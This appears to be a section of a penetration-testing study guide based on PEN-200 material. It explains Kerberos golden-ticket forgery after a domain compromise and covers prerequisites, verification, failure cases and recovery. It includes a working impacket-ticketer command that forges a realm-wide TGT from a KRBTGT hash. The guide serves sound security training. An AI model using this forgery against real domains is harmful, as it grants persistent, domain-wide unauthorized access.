An already compromised domain exposes a KRBTGT key and domain SID.
6.3.11.22.2.1 Find the clue from your starting access
Where to investigate: Begin only after protected private evidence establishes the actual domain KRBTGT key and SID; inspect account/source metadata rather than assuming any domain hash suffices.
Discovery action — reference example:
Access/context: A domain identity, appropriate host privilege, or a validated effective directory-object right
Conditions, effects and verification
Requires: Correct KRBTGT cryptographic material, realm/SID/principal data, valid ticket parameters and compatible service/KDC validation behavior
Action class: May request tickets, collect sensitive material or change directory state; use the exact selected procedure.
Stop/verify: Verify cryptographic source, represented principal and exact service effect; protect the key and remove generated test credentials.
Failure/next check: Wrong key/version, realm, time or validation behavior can reject a forged ticket. Prefer legitimate current tickets for ordinary movement.
klist
whoami /user
Illustrative evidence — synthetic, abbreviated:
The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.
Private source classification: KRBTGT key, not ordinary service key
Domain SID/realm: recorded
Test service: explicitly scoped
Recognize this detail: KRBTGT key exposure is the enabling post-compromise condition; an ordinary NT hash or unrelated ticket cannot substitute.
Still missing before method selection: Verify current cryptographic material/version, realm/SID/principal, time and actual service validation; retain recovery/cleanup scope.
| Outcome after checking | Example and next decision |
|---|---|
| Enabled after validation | The authorized isolated-lab ticket is accepted for the intended action: document the domain-key impact. |
| Ruled out in this context | Only an ordinary service-account key is available: reject realm-wide TGT forgery. |
| Inconclusive | A file labelled KRBTGT without source/version verification leaves the key claim unresolved. |
If you do not yet have this clue: start with Use validated directory replication rights for bounded credential proof.
6.3.11.22.3 Prerequisites
Starting access: A domain identity, appropriate host privilege, or a validated effective directory-object right. Required conditions: Correct KRBTGT cryptographic material, realm/SID/principal data, valid ticket parameters and compatible service/KDC validation behavior.
6.3.11.22.4 Discover and verify prerequisites
klist
whoami /user
6.3.11.22.5 Why it works
Golden-ticket creation is a post-compromise impact/persistence concept here. Possession of the correct domain key is a much stronger starting condition than an ordinary service key; it is not an initial escalation default.
6.3.11.22.6 Execute and choose variants
Golden tickets require the domain SID and KRBTGT key. They are persistence/impact concepts, not a default Block 11 action. A forged ticket still depends on correct cryptographic material, realm, time and authorization. For the active service-scoped case, use Silver tickets.
Authorized isolated-lab examples:
# Golden: realm-wide TGT material
impacket-ticketer -nthash KRBTGT_NT_HASH -domain-sid DOMAIN_SID \
-domain DOMAIN AUTHORIZED_TEST_USER
export KRB5CCNAME="$PWD/AUTHORIZED_TEST_USER.ccache"
klist
Use only against the approved service/host, record ticket metadata and remove generated credentials afterward. Domain recovery after KRBTGT exposure generally requires coordinated credential rotation and replication convergence; service-ticket exposure requires rotating the affected service/machine secret and reviewing access.
6.3.11.22.7 Worked example — hypothetical
Observation: authorized isolated-lab evidence already establishes KRBTGT exposure. Test: inspect the scope of a documented test ticket and its intended service use. Illustrative output: the service accepts the represented identity. Interpretation: record domain-key impact and recovery needs without treating the technique as a routine first path.
6.3.11.22.8 Verify the result
Verify cryptographic source, represented principal and exact service effect; protect the key and remove generated test credentials.
6.3.11.22.9 Failure and fallback
Wrong key/version, realm, time or validation behavior can reject a forged ticket. Prefer legitimate current tickets for ordinary movement.
6.3.11.22.10 Continue from the interpreted result
| Observed result | Check before proceeding | Next numbered section |
|---|---|---|
| A valid ticket/cache or a long-term key that can request a TGT | Matching client/realm/service, valid lifetime, compatible format and available KDC/service routes; ticket import affects a specific context | §6.3.11.13 — Inventory, convert and import tickets in the correct logon context |
| A password, actual NT hash, AES/NT long-term key or ticket is available | Credential type accepted by the chosen protocol/client, correct identity/domain, naming/time and destination authorization | §6.4.4.6 — Select password, NT hash, key-to-ticket or ticket authentication |
| Access, privilege, identity or route changes, or a report will need reproduction | Known destination/identity, observable effect and a private evidence destination; actual exam proof requirements must be read from current official guidance | §8.1.8 — Capture state-transition, proof and exploit-adaptation evidence |
6.3.11.23 Sources and shared concepts
Supplied PEN-200 Ch 23 pp761–792 and relevant Ch 24 pp793–812. Impacket, Inspect and use Kerberos material in the intended logon context, Microsoft AD technical documentation.
Commands and their adjacent variant conditions are synchronized extracts of the linked operational procedures. Those procedures own complete execution details; this guide owns method selection, explanations and worked reasoning. Tool availability on the learner's Kali or a target must be checked in that environment.
Recognition interpretation: Microsoft account-control flags and PowerView user-query documentation. Parameter names can differ between legacy documentation and the loaded script; the illustrated bit test avoids ambiguous preauthentication switch names.